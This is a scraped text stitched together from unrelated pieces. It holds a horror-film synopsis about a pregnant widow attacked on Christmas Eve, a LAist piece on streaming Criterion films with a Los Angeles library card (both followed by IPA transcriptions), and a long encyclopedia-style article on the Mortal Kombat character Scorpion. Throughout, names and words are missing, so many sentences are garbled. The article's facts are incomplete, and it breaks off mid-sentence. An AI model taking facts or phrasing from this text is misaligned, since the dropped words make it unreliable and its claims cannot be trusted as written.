four months before christmas, sarah and were in a car crash, of which sarah and her unborn baby were the only survivors. on christmas eve, sarah stays home alone, where she grieves her husband and prepares to go to the hospital the next morning for the delivery. as night falls, a woman knocks on sarah's door asking to use the phone. when she refuses, the woman reveals that she knows sarah and tries to force her way in. sarah calls the police; they inspect the home and determine the woman has left, but promise to keep watch over sarah through the night. the woman returns and tries to take sarah's unborn child, but sarah locks herself in the bathroom. the strange woman torments sarah through the night and kills all who try help her. written by | fɔr mənθs ˌbiˈfɔr ˈkrɪsməs, ˈsɛrə ənd wər ɪn ə kɑr kræʃ, əv wɪʧ ˈsɛrə ənd hər ˈənˈbɔrn ˈbeɪbi wər ðə ˈoʊnli sərˈvaɪvərz. ɔn ˈkrɪsməs iv, ˈsɛrə steɪz hoʊm əˈloʊn, wɛr ʃi grivz hər ˈhəzbənd ənd pərˈpɛrz tɪ goʊ tɪ ðə ˈhɑˌspɪtəl ðə nɛkst ˈmɔrnɪŋ fər ðə dɪˈlɪvəri. ɛz naɪt fɔlz, ə ˈwʊmən nɑks ɔn ˈsɛrəz dɔr ˈæskɪŋ tɪ juz ðə foʊn. wɪn ʃi rɪfˈjuzɪz, ðə ˈwʊmən rɪˈvilz ðət ʃi noʊz ˈsɛrə ənd traɪz tɪ fɔrs hər weɪ ɪn. ˈsɛrə kɔlz ðə pəˈlis; ðeɪ ˌɪnˈspɛkt ðə hoʊm ənd dɪˈtərmən ðə ˈwʊmən həz lɛft, bət ˈprɑməs tɪ kip wɔʧ ˈoʊvər ˈsɛrə θru ðə naɪt. ðə ˈwʊmən rɪˈtərnz ənd traɪz tɪ teɪk ˈsɛrəz ˈənˈbɔrn ʧaɪld, bət ˈsɛrə lɑks hərˈsɛlf ɪn ðə ˈbæθˌrum. ðə streɪnʤ ˈwʊmən ˈtɔrˌmɛnts ˈsɛrə θru ðə naɪt ənd kɪlz ɔl hu traɪ hɛlp hər. ˈrɪtən baɪ |
(see above for some of our picks from the available collection.)
a los angeles public library card comes with plenty of perks, but did you know that it also provides access to hundreds of movies from the criterion collection?
criterion has dedicated itself to gathering and publishing the greatest films from around the world since 1984, and its collection is the ultimate playground. your card will give you access to stream 419 (!) different films from unparalleled collection, including the work of masters of cinema like akira kurosawa, andrei tarkovsky, sergei eisenstein and many others.
anyone with a los angeles public library card can stream the criterion collection - free - through, which is in many schools too. dargis (@manohladargis) july 13, 2017
pull up a chair and stream french new wave gems like breathless, the 400 blows, jules and jim, and sa vie, none of which are available for streaming on netflix. or delve into the classics of american independent film, and acquaint yourself with the work of jim and john cassavetes (also not available for streaming on netflix). the possibilities are near infinite, or at least approximately* minutes long.
the movies are made available to users through a service called, and you can watch up to 10 films per month. once you set up a free account on using your library card, you can stream movies through your computer, or on your using the app. is also compatible with apple tv and roku. anyone with a library card can set up a here.
the of the collection is perhaps best summed up by a tweet by new york times film critic dargis, who responded to our query for favorites:
what are your favorite movies in the criterion collection? (@laist) july 13, 2017
enjoy!
*four hundred and nineteen titles, multiplied by the average length of a movie (approximately 120 minutes). | (si əˈbəv fər səm əv ɑr pɪks frəm ðə əˈveɪləbəl kəˈlɛkʃən.) ə lɔs ˈænʤəlɪs ˈpəblɪk ˈlaɪbrɛˌri kɑrd kəmz wɪθ ˈplɛnti əv pərks, bət dɪd ju noʊ ðət ɪt ˈɔlsoʊ prəˈvaɪdz ˈækˌsɛs tɪ ˈhənərdz əv ˈmuviz frəm ðə kraɪˈtɪriən kəˈlɛkʃən? kraɪˈtɪriən həz ˈdɛdəkeɪtəd ˌɪtˈsɛlf tɪ ˈgæðərɪŋ ənd ˈpəblɪʃɪŋ ðə ˈgreɪtəst fɪlmz frəm əraʊnd ðə wərld sɪns 1984 ənd ɪts kəˈlɛkʃən ɪz ðə ˈəltəmət ˈpleɪˌgraʊnd. jʊr kɑrd wɪl gɪv ju ˈækˌsɛs tɪ strim 419 ˈdɪfərənt fɪlmz frəm ənˈpɛrəˌlɛld kəˈlɛkʃən, ˌɪnˈkludɪŋ ðə wərk əv ˈmæstərz əv ˈsɪnəmə laɪk əˈkirə ˌkʊroʊˈsɑwə, ˈænˌdreɪ tarkovsky*, ˈsɛrˌgeɪ ˈaɪzənstin ənd ˈmɛni ˈəðərz. ˈɛniˌwən wɪθ ə lɔs ˈænʤəlɪs ˈpəblɪk ˈlaɪbrɛˌri kɑrd kən strim ðə kraɪˈtɪriən kəˈlɛkʃən fri θru, wɪʧ ɪz ɪn ˈmɛni skulz tu. ˈdɑrgɪs (@manohladargis*) ˌʤuˈlaɪ 13 2017 pʊl əp ə ʧɛr ənd strim frɛnʧ nu weɪv ʤɛmz laɪk ˈbrɛθləs, ðə 400 bloʊz, ʤulz ənd ʤɪm, ənd sɑ vaɪ, nən əv wɪʧ ər əˈveɪləbəl fər ˈstrimɪŋ ɔn netflix*. ər dɛlv ˈɪntu ðə ˈklæsɪks əv əˈmɛrɪkən ˌɪndɪˈpɛndənt fɪlm, ənd əkˈweɪnt ˈjɔrsɛlf wɪθ ðə wərk əv ʤɪm ənd ʤɑn ˌkæsəˈvitiz (ˈɔlsoʊ nɑt əˈveɪləbəl fər ˈstrimɪŋ ɔn netflix*). ðə ˌpɑsəˈbɪlətiz ər nɪr ˈɪnfənət, ər æt list əˈprɑksəmətli ˈmɪnəts lɔŋ. ðə ˈmuviz ər meɪd əˈveɪləbəl tɪ ˈjuzərz θru ə ˈsərvɪs kɔld, ənd ju kən wɔʧ əp tɪ 10 fɪlmz pər mənθ. wəns ju sɛt əp ə fri əˈkaʊnt ɔn ˈjuzɪŋ jʊr ˈlaɪbrɛˌri kɑrd, ju kən strim ˈmuviz θru jʊr kəmˈpjutər, ər ɔn jʊr ˈjuzɪŋ ðə æp. ɪz ˈɔlsoʊ kəmˈpætəbəl wɪθ ˈæpəl ˌtɛləˈvɪʒən ənd roku*. ˈɛniˌwən wɪθ ə ˈlaɪbrɛˌri kɑrd kən sɛt əp ə hir. ðə əv ðə kəˈlɛkʃən ɪz pərˈhæps bɛst səmd əp baɪ ə twit baɪ nu jɔrk taɪmz fɪlm ˈkrɪtɪk ˈdɑrgɪs, hu rɪˈspɑndɪd tɪ ɑr kˈwiri fər ˈfeɪvərɪts: wət ər jʊr ˈfeɪvərɪt ˈmuviz ɪn ðə kraɪˈtɪriən kəˈlɛkʃən? (@laist*) ˌʤuˈlaɪ 13 2017 ˌɛnˈʤɔɪ! *fɔr ˈhənərd ənd ˈnaɪnˈtin ˈtaɪtəlz, ˈməltəˌplaɪd baɪ ðə ˈævərɪʤ lɛŋθ əv ə ˈmuvi (əˈprɑksəmətli 120 ˈmɪnəts). |
scorpion (born) is a character and occasional boss character in the mortal kombat fighting game franchise created by midway games. making his debut as one of the original seven characters in mortal kombat in 1992, he is an ninja specter seeking revenge for his own death at the hands of, making him an which has been his main role throughout the course of the series up until mortal kombat x but still remains neutral.
scorpion has been in nearly every mortal kombat fighting game, the one exception being the original version of mortal kombat 3. he was among the characters representing the series in the crossover games while having guest roles in other games, besides appearing in a variety of official series merchandise and other alternate media. scorpion is featured on the logo of studios, the successor of midway games.
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"scorpion" is the alias of, formerly one of the finest warriors of the, a japanese ninja] after he was killed by, a member of a rival clan of chinese assassins known as the lin, scorpion became a residing in hell (later the) and seeking vengeance against those responsible for the destruction of his clan and the death of his family, including his wife and his son. although essentially neutral in allegiance, scorpion will join forces with anyone who can assist his plans of revenge. he was once manipulated by quan chi, whom he promised his life in exchange for his impressive kombat abilities in order to defeat]
in his initial, displayed in the first game's attract mode, he is described only as having enmity towards that was attributed to rivalries between opposing ninja clans. his ending revealed that he was actually an specter who had been killed by and was survived by a wife and] this was further explored in a comic book written and illustrated by john tobias and published by midway; in a scene, set aboard a junk en route to tournament host private island, scorpion shocks with his unexpected return exactly two years after his death, declaring that his "demons" had allowed him to return and avenge his demise, while he would not kill there on the spot and instead wait until the tournament because he was "not a]
after defeat at the hands of eventual champion liu kang, all hell breaks loose on the island, and scorpion, one of only seven tournament survivors, teams up with and the thunder god in holding back army, then kills and] in mortal kombat (1993), scorpion learns that has somehow returned, and plans to compete in the second tournament held in the otherworldly dimension of and hosted by the emperor shao kahn. he tracks his nemesis down but notices, in the process, sparing the life of an opponent in battle. scorpion realizes that this is not the original but instead his younger brother, who was sent to complete the elder's failed mission of assassinating. as a result, scorpion vows to serve as the new's guardian in atonement for killing his older]
in the 2005 beat 'em up mortal kombat: shaolin monks, set during the events of mortal kombat, scorpion is a boss character who attempts to kill the game's protagonists liu kang and kung lao. he appears in both masked and unmasked forms (the latter being named "inferno scorpion"). mortal kombat: fire & ice, which would have starred scorpion and in cooperative gameplay, was canceled when paradox development, the developers of shaolin monks, "couldn't do it in time and under]
scorpion, along with all of the game's human ninja characters, was not in mortal kombat 3, but returned in the 1995 upgrade ultimate mortal kombat 3 when shao kahn tries to conquer the after his invasion of earth, and enlists the ninja in his forces. allegiance to kahn quickly dissolves when he discovers, in a continuance of hisii storyline, that was one of earth's chosen warriors, with whom he sided in their final showdown with]
quan chi is officially introduced into rivalry with in the main storyline, starting with mortal kombat mythologies: (1997). scorpion is featured therein as an boss character, appearing twice throughout the game. despite playing a minor role, his background was officially expanded in a feature on the game's official website, where his real name and that of his clan were revealed, while his yellow outfit was described as an apparent mockery of the lin, after former lin member takeda developed before leaving the clan and forming the rival] he is enlisted by quan chi to find a map hidden in a shaolin temple, a task the sorcerer also gives to in order to engage the two rival ninjas in mortal combat. if the player performs a killer move on scorpion, he will reappear as another boss later in the game. in mortal kombat 4 (1997), quan chi tricks scorpion into believing that was actually involved in the deaths of his family and clan, resulting in scorpion allying with him. in ending, he emerges victorious over, but quan chi then appears to reveal the truth about the death of family and clan. when quan chi then attempts to banish scorpion back to the underworld, scorpion grabs onto quan chi just as he is teleported, sending them both into the.[8] a variation of this ending was seen in's conclusion, when stands over a fallen scorpion before being knocked down from behind by quan chi, who again reveals his scheme and claims that both ninjas were pawns for the fallen elder god, which results in scorpion killing quan chi and finally declaring free of his]
scorpion's4 ending is carried over into mortal kombat: deadly alliance (2002), where he relentlessly hunts down quan chi but is attacked by the and, whom the sorcerer had hired as protection, and who later free him from the. in his ending, scorpion is killed when and hurl him into the soulnado, a magical tornado consisting of tormented souls trapped between and, but in his biography in mortal kombat: deception, he is depicted as having escaped. he then meets the elder gods, which, coupled with his witnessing's death and the emergence of onaga, the dragon king, causes him to accept a new role as the elder gods' servant while working to prevent merging of the realms.
in the mode of mortal kombat: armageddon (2006), scorpion cuts a deal with the elder gods to serve them in exchange for the resurrection of the, along with the resurrection of his wife and] however, the elder gods resurrect them as beings. enraged, scorpion seeks to destroy the elder gods' chance of preventing armageddon by taking power that was meant for or daegon, but defeats him and scorpion is later killed by in the free-for-all battle among the series characters in the game's opening]
in the 2011 mortal kombat reboot, an retelling of the first three titles, scorpion his role from the first game in seeking vengeance against the elder, the difference being that he serves quan chi from the start, unaware that quan chi is the mastermind behind the lin murder of his family and clan., attempting to alter the timeline of the events of the first three tournaments in hopes of averting armageddon, talks scorpion into sparing's life on the grounds that he would seek to revive the in exchange. scorpion agrees, and indeed when he defeats in the, he refuses to kill him, but quan chi convinces scorpion otherwise by replaying a graphic vision of the lin's slaughter of the in addition to wife and child. scorpion then reappears on the tournament grounds holding's incinerated skull and spinal column aloft before letting it drop and shatter on the] later in the game, the younger (formerly tundra) seeks revenge for his brother's death by demanding a fight with scorpion in shao kahn's arena, and quan chi grants the request. scorpion immediately recognizes that this is not the original but his younger brother, who defeats scorpion but is apprehended by his clan before he can finish scorpion off, and scorpion away during the] he was last seen when he appears to fight in the but loses against the thunder god and] in his game ending, the appear before him as ghostly apparitions and reveal the truth. they aid him in killing quan chi for his deception. in's ending, he learns the truth about his and families and offers scorpion a chance to join him in his quest for vengeance, with and scorpion joining forces to form the new deadly]
in mortal kombat x, prior to his comic book prequel events, as well as his encounters with to assist in his revival as a human and restore the as the grandmaster 25 years earlier, scorpion still served quan chi. he was first seen in johnny cage's chapter of the game's story, allied with a now fleshed, killing most of the special force soldiers, except the high rank leaders johnny, sonya blade and, who manage to survive their assassination attempts thanks to johnny's effort on defeating him and. in story mode it is revealed that soul was restored to the living (along with and) by, who combined quan chi's magic with his own. now once again, he reforms the clan and trains's son, takeda, in his fighting style. made amends with as revealed that quan chi was responsible for the murder of's family and clan. when the special forces capture quan chi, and the subdue them, with singlehandedly defeating johnny cage and. fueled by revenge, he was oblivious to quan chi's true plan, andored the special forces' hopes to return the others to life. freeing quan chi from imprisonment, challenged quan chi to a final battle, with emerging victorious. concurrently, appeared after having betrayed kahn and ended the civil war, taking amulet from the mileena. as prepared to decapitate quan chi, throws the amulet to quan chi, who recites a spell to release from the amulet. immediately after the conclusion, quan chi is killed, avenging's family. however, is returned to the physical world instantly, and scorpion, in surprise, is immediately blasted away and knocked out by. he is not seen again for the remainder of the story, leaving his fate, as well as many other characters, unknown.
other games [ edit ]
scorpion appears in the 2008 crossover title mortal kombat vs. dc universe, participating in the war between the two titular franchises. in his ending, the essence of dark kahn finds a host in body, making him the most powerful being in the universe.
scorpion joined the cast of injustice: gods among us as a character. in his battle ending, scorpion, wondering how he ended up in this world, confronts trigon, who summoned him out of anger that scorpion had left his demon army and robbed him the glory of defeating the high councilor (superman). scorpion fights and defeats trigon, and afterwards takes command over his demonic forces, which he plans to use to rule the world.
scorpion has also featured as a character in four midway games titles: nba jam tournament edition (1995),[15] the grid (2000),[16] slugfest: loaded (2004),[17] and psi-ops: the conspiracy (2004).[18]
character design and gameplay [ edit ]
mk] characters that can have the same impact?
a: you can look at other franchises, like the for example, where there have been tons of new team members, but characters like storm, jean grey, professor x, will always have scorpion and i don't think that's a bad thing. q: do you think it's possible to create new [] characters that can have the same impact?a: you can look at other franchises, like example, where there have been tons of new team members, but characters like cyclops , and wolverine will always be the core of who they are. can you replace them? sure, but why? the will always have wolverine always have scorpion and i don't think that's a bad thing. —john tobias in]
scorpion appeared in the first mortal kombat as one of two ninja characters along with. his early origins were revealed by the series' original chief character designer john tobias in september 2011 when he posted several pages of old character sketches and notes on twitter. scorpion and were simply described as "[a] palette swap for 2 hunter and the hunted," while tobias also considered the concepts of either one of them fleeing their clan, or a "revenge story" involving the characters being part of rival] in regards to the game's strict memory limitations, and programmer ed boon recalled: "a lot of attention went into the economics of it, and so we knew that if we could take a character and change their color and use basically the same memory to create two characters, we'd save a lot of money and we'd have two characters." scorpion was given a yellow palette with the developers deciding that it would symbolize fire as the exact opposite to's ice blue, which "prompted the story behind them being these opposing] a third ninja swap, reptile, was added in the third revision as a hidden character who was outfitted in green and used spear (along with's freeze) as part of his offensive arsenal; he was devised by boon as "a cooler version of] the original costume was created from a modified outfit bought at a chicago costume] and was red for filming in the first game, but a different yellow one with a quilted vest and shin guards was utilized for mortal kombat.[23] this in turn made the other male ninja characters therein—sub-zero, reptile, and hidden characters smoke and swaps of scorpion, with the latter two also using spear when players fought them separately in secret battles. scorpion and the ninja characters were first played by daniel pesina, who was replaced by john turk for ultimate mortal kombat 3 and the 1996 compilation mortal kombat trilogy, while sal divita played the character in: mythologies.
while his template from the first generation of games has remained relatively unchanged over time, the software technology of the kombat 4 three-dimensional releases have allowed more detailed for the characters, and costumes were duly enhanced with objects such as two swords strapped to his back and his spear attached to a rope tied to his belt in deadly] and a set of ornate shoulder in deception, in which his alternate costume was a throwback to the two-dimensional titles.2011 costume is his most detailed to date and inspired by his namesake, such as the character's shoulder pads, the two swords crisscrossed on his back, and the pattern on his face] scorpion was included with, reptile and in a bundle of classic costumes from the first mortal kombat that was released as content for the 2011] for injustice: gods among us, he received a new costume designed by comic artist jim] in the original mortal screen, scorpion had regular human eyes, as his identity as a resurrected specter was meant to be a mystery, but he was given solid yellow or white eyes for every release thereafter starting withii,[27] while actors portraying scorpion in media such as the feature films and the mortal kombat: legacy web series were outfitted with opaque contact lenses in order to achieve this effect.
scorpion yells one of two taunts at his opponents when he hits them with his spear. they were voiced by boon in the games and both feature films, but only one of them ("come here!") was included in the home ports of andii due to memory constraints. according to boon, the second of the character's phrases originated because he thought "it would be funny to have him yell out 'get over here!' when he [threw the spear]," and he was thus encouraged to get behind the studio microphone and record the] as confirmed by daniel] that phrase was originally an idea of actor richard divizio, as was skull face, inspired by the classic film jason and the] twenty years after the first game's release, boon included creating the spear move as well as the character itself among his personal high points of the franchise's history, adding: "i remember people sitting in my office all day just doing this [on a enemy] again and again, like 'oh my god, that feels so good.' it just became the cornerstone of [the]ii saw the debut of the popular phrase "toasty!", which was voiced by series sound designer dan during a variation of "flaming skull" fatality or at random when any of the game's characters landed an. according to tobias, it first originated as "you're toast!", which was a taunt bandied among the designers during]
scorpion's signature special move throughout the series has him hurling a spear (described as a kunai) at his opponents, making him the only other character besides kano to have a physical weapon in the first mortal kombat. the spear, attached to a length of rope, impales his opponents through the chest and sets them up for a free hit as scorpion then jerks on the rope to pull them in to close range. this move was designed by pesina, who did not like the original lasso move as it reminded him of that of wonder] and inspired by the ancient asian weapons known as a rope] his other incumbent special throughout the series, save for deadly alliance, has been his teleport punch, where he flies during battle and then reappears to strike his opponent from behind. scorpion additionally gained a new maneuver inii that was not (sega saturn magazine called it a "ridiculous" move that "no one ever] he was considered a character by in their 1993ii character rankings, rating him eighth out of the game's twelves and describing both him and as "formerly a character [who] have much of a chance inii since all of the male ninjas have some poor matchups," with scorpion faring the worst against and] ed lomas of sega saturn magazine described the character as having "simple yet effective" special moves in that "make him good for beginners, [which] doesn't stop him from being a useful character," while his "trusty" spear was "perfect for setting up] gamespy, in their deception walkthrough, described the character as "a character that has strengths in as well as in special and normal] they additionally described the spear as "useful as ever" in armageddon, adding, "between [that and his] other special moves ... scorpion pretty much has everything] prima games'2011 strategy guide considered scorpion to be with no distinct weaknesses or advantages, while winning more than half of his fights against the game's other] he is also a character for both the versus and story modes in shaolin monks, where his move sets in this game are largely identical to liu with some original]
scorpion's signature finishing move from the original game up until mortal kombat 4 was his "fire breath" fatality, in which he removes his mask to reveal a skull right before immolating his opponent. a variation of this finisher was included inii: entering a different combination added the spoken "toasty!" phrase that simultaneously appeared on the screen. while the "fire breath" was brought back for mortal kombat vs. dc universe in 2008, his spear has otherwise served as his primary tool in his fatalities in the three-dimensional games, from impaling his opponents through the head and then them in deadly alliance, using it to yank off their limbs in deception, and plunging it into their chest before kicking them through a portal that left nothing but a skinned corpse hanging from the chain in2011 ("nether gate"). his second fatality in the reboot, "split decision", had scorpion using one of his swords to hack his opponent to pieces.
scorpion would indirectly play a role in the fabrication of nonexistent character when electronic gaming monthly published a doctored of scorpion from the original game in lot of other characters in1 like chameleon uses his template [39] this subsequently spawned false player rumors of a glitch that would turn sprite red with the name "error macro" appearing in the energy] became in, in which he was a red palette swap of scorpion who shared his teleport punch.
other media [ edit ]
literature [ edit ]
in jeff 1995 novelization, set before the first game, scorpion plays a minor role and his deviates from the games, as he is something of a combination of a father and son instead of an individual ninja specter. the father, a former lin member turned named yong park, was killed by in front of park's family and his body dumped into a canal. spirit merges with his young son body in order for the latter to seek revenge under the form of scorpion, during which his costume and armor magically appear on his body. when scorpion challenges to battle in hopes of avenging his father's murder, they do nothing more than exchange words before sets off a smoke bomb and escapes. scorpion never uses his spear aside from a scene in which he shoots it at a tree as a test shortly after his]
with the exception of the novel, scorpion has been portrayed in alternate mortal kombat media as an antagonist, and his spear was never used in any sort of graphic nature as in the games. in the mortal kombat series produced by malibu comics, he is simply a specter consumed by revenge against, and his spear was changed to a weapon resembling a spiked morning star that was attached to a length of either chain or rope. an altered version of his confrontation with from the midway comic was expanded in the first issue of the 1994 blood & thunder miniseries, by way of a flashback of their fateful battle that ends with scorpion being killed] scorpion, along with the other series characters from the first game, seeks to solve all the riddles inside mystical tome, the tao the zhan, in order to gain absolute power (which no one accomplishes). in the third issue, the combatants are all imprisoned inside dungeon before scorpion appears and frees them from their] and in the fourth issue, when the fighters are stranded in after frees them from the dungeon, scorpion kills hydro, a lin companion of created exclusively for the series. then destroys mortal form in a quick battle, and scorpion (now an apparition) is then driven off by, who then declares that was now under his] scorpion was additionally featured in a special #0 issue as the centerpiece of a short story titled kombatants, which was originally published prior to the miniseries and has him facing once more as the other combatants sing his praises in the] the first page of the third issue of blood & thunder, which showed scorpion hurling his weapon at an, was a duplicate of kombatants' title] during the "tournament edition" conclusion of the miniseries, scorpion loses a fight to, who had stopped him beforehand from killing an unconscious. in the 1995 miniseries, emperor shao kahn returns scorpion to the living world using a mystical gem called the, which also allows kahn to resurrect an army of soldiers under his control with scorpion as his general; his army replaces the mutants that engrossed his ranks. one of the warriors under command was the monk duo siang, who had been killed by in the blood & thunder miniseries and was resurrected but still maintained a mind of his own, and therefore wanted to escape kahn's control; scorpion therefore fatally stabs siang through the heart in a mercy killing before destroying the] in a 1995 featuring, titled "babality", scorpion still possesses the and attempts to abduct an mutant baby who is under protection, but he is thwarted by before destroys the]
film and television [ edit ]
mortal kombat. his initial design had looked "nothing like in the games", but was changed] chris as scorpion in the 1995 film. his initial design had looked "nothing like in the games", but was changed later
scorpion was played by chris in the 1995 mortal kombat film. his rivalry with is only mentioned in passing by in the storyline, which instead had them both serving as his slaves under his command. spear was a living creature that shot from a slit in his palm and could fly to a limited extent. it is first seen when he engages in a standoff with johnny cage on ship, and later during his fight in the tournament against cage that begins in a rubber tree forest, when the spear directly follows cage until it goes completely taut with cage just out of reach. scorpion fires the creature a second time, but cage dodges it and it fatally smashes into a tree. the fight continues in lair until cage finally wounds scorpion with several discarded weapons right after scorpion performs his "fire breath" fatality as an offensive move, causing scorpion to burst into flames as he bleeds a glowing blood before exploding entirely. lair was constructed inside an airplane hangar and was not included in the script nor the movie novelization, in which cage merely knocks scorpion out in the forest with his shadow kick.
in the 1995 animated film mortal kombat: the journey begins, scorpion was again depicted as a henchman to opposite. on the orders, the duo fight liu kang, johnny cage, and sonya blade and come close to defeating them until intervenes and puts the fight to a halt. the relationship of scorpion and is explored during the course of the film in a fight sequence. he was the only character in the film who had no dialogue.
scorpion made one appearance in the 1996 animated series mortal kombat: defenders of the realm in the second episode ("sting of the scorpion"). his rivalry with is vaguely explored, as no explicit mention is ever made of killing him. scorpion instead serves as an independent entity of evil who is first seen in a flashback sequence being banished to "the realm of lost souls" (designed to resemble his "lair" stage in) for having died with dishonor, and has now returned to the land of the living to resurrect the dishonored dead in all realms, especially. when and scorpion finally meet, threatens to make scorpion pay for the death of his clan but is defeated by a single kick to the solar plexus. liu kang beats scorpion in mortal kombat in's stead, and returns scorpion back to the underworld as his army disappears. his spear was again a green head attached to a length of gold chain, which merely binds liu kang instead of impaling him before he breaks free. he was the lone ninja character in the show who never unmasked.
scorpion briefly returned in the 1997 sequel film mortal kombat: annihilation, where he again worked for a higher power, this time shao kahn. following a failed assassination attempt on liu kang and by smoke and one of kahn's extermination squads due to the unexpected interference of the younger, scorpion confronts the targets, but ends up dueling instead. after incapacitating, he kidnaps and escapes through a portal. he was portrayed by j.j. perry, who played cyrax.
casamassa his role from the first film in several episodes of the tv series mortal kombat: conquest with an origin different from that of the games. scorpion commands his lover, peron, to murder's sister, and kills peron in retaliation, culminating in a duel which ends in a draw due to the arrival of kung lao, siro, and taja, who come to's aid. both peron and's sister were characters created exclusively for the show.
in the 2010 short film mortal kombat: rebirth, directed by kevin tancharoen, scorpion, addressed therein by his real name, is depicted as a voluntary prisoner being questioned by deacon city police captain jackson briggs regarding an underground tournament hosted by. sonya blade shows up late in the film with a confidential document stating that scorpion had killed's brother. knowing that will enter deadly tournament, scorpion agrees to participate and leave no one alive. he was played by ian anthony dale and appears as a normal human, though his eyes are completely white and his signature weapon does appear.
dale his role as scorpion in both seasons of mortal kombat: legacy webseries. in a episode in the 2011 first season, his story takes place in feudal japan, when is the leader of the and a family man training his young son, jubei, in combat, much to his wife's disapproval. is later summoned to a meeting with the shogun, which turns out to be a ruse by (sub-zero) of the rival lin clan in order to lure away from his village and leave it open to attack, which realizes after he finds the shogun murdered in the middle of an icy road. after subduing in battle, he returns to his village to find his family slain before he himself is killed from behind by. appears with, who reveals himself as quan chi. quan chi scorpion as a specter and promises him revenge against in exchange for his services. the dialogue of scorpion, his family, and were in japanese with english subtitles, and the use of spear is faithful to the games for the first time in any alternate media in that it actually's chest before scorpion reels him in for a hit, but no blood is shown.
in the 2013 second season, a flashback shows that and were childhood friends but driven apart by the mutual disdain of their clans. two decades later, the and lin have made some effort towards reconciliation, but, while with his wife and son, encounters's younger brother, liang, who provokes a fight and is killed by. and later meet to discuss the incident, and both are shown to be honorable men committed to maintaining the truce between their clans. swears that there will be no repercussions against the for's death, but after the events of season one, the resurrected (now scorpion) is convinced of's culpability in his family's and deaths, not knowing that is not responsible and is instead incensed about the attack that he believes was carried out by his own lin warriors. in the present day, and scorpion fight in the mortal kombat tournament, during which scorpion stabs his spear into's ankle. despite's pleas that he was not involved in the death of his clan and family, scorpion rips out his spine. this storyline was played out over the seventh and eighth episodes and filmed entirely in english. dale said that the series "challenge[s] the assumptions that [scorpion and] have always been sworn have new layers in their story and]
promotion and merchandise [ edit ]
along with the original series characters, scorpion was highlighted on an individual track from the immortals' 1994 album mortal kombat: the album. titled "lost soul bent on revenge", it features a solo male singer with a falsetto vocal style resembling that of jimmy somerville, and the lyrics consist only of the repetition of the song title and voice samples of both spear taunts from the first game.
the character has featured in various types of merchandise during his tenure in the series, mostly action figures and sculptures. hasbro released the first scorpion figures in 1994: a" version in which his mask was blue and he was packaged with a plastic scorpion accessory, then a figure whose design and packaged weaponry were more in line with the games. toy island distributed a scorpion figure in 1996 as part of their trilogy collection, which included a pair of hookswords, and infinite concepts put out a scorpion figure in 1999. released a 6" deception figure in 2005, and a 2006 shaolin monks figure that was also included as part of a hot with,[51][52] in addition to a collection of figures in 2011: a 4" figure from their2011] a "klassic"] and a "retro" figure that featured an interchangeable skull head and which was packaged with, reptile and smoke in a box] collectibles released a host of scorpion merchandise in: 10" (with eyes) and 18"] along with two scale with a 15" base and eyes; and a smaller bust with an 11" base that featured a detachable] pop culture shock distributed a bust in 2011 that featured removable shoulder pads and] as well as a 19" statuette based on his design as part of their "mortal kombat klassics"] a" statue was released by the company in 2012, in which scorpion was sculpted in a pose and was outfitted in all]
scorpion was one of thirteen2011 characters depicted on standing cardboard cutouts from advanced] released a scorpion in] and he was one of twenty characters featured on" x" collectible magnets by wholesale that] he appeared along with kabal, quan chi, and shao kahn in a collection of" figures released by in]
reception and legacy [ edit ]
cultural impact [ edit ]
the character has made several cameo appearances in television programs, including in the animated series drawn together (2005 episode "the one wherein there is a big twist: part 2"), robot chicken (2005 episode present"), and the cleveland show (2010 episode "another bad thanksgiving"). professional wrestler cody rhodes dressed up as scorpion for halloween in] scorpion was featured along with,,, and in comedy central's 2014 animated short film mortal kombat, in which he was renamed "iron shogun" and was to compete in "yao zhang's") underground tournament before it is delayed due to the other contestants being no-shows. with zhang unable to find a replacement, iron shogun is declared the tournament victor after he fatally spears a pizza who enters the]
critical reception and popularity [ edit ]
scorpion is often regarded as one of the most popular and iconic characters in the mortal kombat franchise, and in the genre in general. gave him and from street fighter a shared award for the best fighter of] game informer rated scorpion the third best fighting game character in] while networks ranked scorpion second only to the series' main protagonist liu kang in their 2012 list of the top characters in the] scorpion was rated the third best ninja character in video games by cheat code central in] and play similarly ranked him fourth on their own list in] lucas sullivan of ranked him as the seventh best fighting game character in the history, stating, "scorpion has some tough competition in the franchise, but none come close to the sheer coolness of his antagonist' factor. despite the fact that he started out as a mere palette swap, appeal made him a frontrunner in every major game to] complex featured scorpion in a whole host of lists: he was ranked the fifth most brutal fighter in the] and the best video game] in addition to the fourth "most dominant" fighting game] the "most badass" video game character of all] and one of video game characters who deserved their own spinoff title: you want to admit it or not, scorpion runs the [mk] series more than liu kang ever] in 2008, wrote that although scorpion was initially a character, he "is actually a lot more complicated than these initial appearances let] in 2013, he was named runner-up to as the "most bad-ass" video game character by the ultimate] scorpion was voted the series' greatest character in a 2013 fan poll hosted by] and finished third behind and smoke in the annual "supreme mortal kombat champion" fan polls hosted by mortal kombat online in] but was eliminated in the lower rounds in 2012 and]
as scorpion is regularly intertwined with throughout the series, they have often been paired together in regards to critical reception. they tied for second on 2012 list of the most iconic fighting game] placed fourth on their 2013 list of the top ten] and shared the fifth spot on the top ninja list by pc world in] he tied with at the top of game revolution's 2006 list of the top ten "old school"] and a 2011 article discussed their evolution across the mortal kombat series, citing them as its two most popular] together, scorpion and were voted the fifth most iconic characters in the two decades of the playstation by readers of playstation official magazine in] scorpion also placed third, just behind, in a 2016 readers poll by hobby for the most popular character in all fighting games, with the staff noting him defeating the likes of mishima, chun-li, and even] ranked scorpion,, and the other ninjas from the series third in their 2009 list of the best video game characters, adding that midway games "has turned the art of making new characters from other, characters into a] robert of hardcore gaming 101 considered to be "a better fit" than scorpion for appearing in psi-ops: the conspiracy, "given how much is used throughout the]
special moves and fatalities have been mostly very well received, too. in 2010, listed "flaming skull" as the second best fatality without specifying any particular title in the series, due to how the player's perception of the character changes when he removes his] they called it an "enduring classic", noting that the finisher was notably unchanged in future games as a result of its connection with the] his spear attack was ranked by as the top weapon in] and ninth in 2002 list of the top ten special moves of all time as the single most powerful yet balanced attack in the original game, as well as for its initial shock value, while it "the definitive mortal kombat] the "nether gate" from2011 was included by on their list of the game's nine most brutal] hisii friendship, shared with and reptile, placed in prima games' 2014 list of the series' top 50 fatalities, in addition to the "nether gate", his stage fatality from2011, and the "flaming skull" from the original.[100][101][102] we got this covered ranked the "nether gate" among the top finishers: does another spine rip in this game, but not as repulsive as it was a decade ago. scorpion, however, has found a new way to use his favorite weapon for maximum] paste rated it the fourth best fatality from2011, in addition to rating the "flaming skull" as the third best finisher from the first] complex ranked the "flaming skull" last in their list of the 20 best finishing moves in 2013, calling it "creepy to the] however, his from/trilogy (a penguin that lays an exploding egg) tied with that of 